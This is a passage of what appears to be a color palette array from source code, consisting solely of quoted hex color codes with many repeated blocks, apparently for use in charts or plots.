"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", 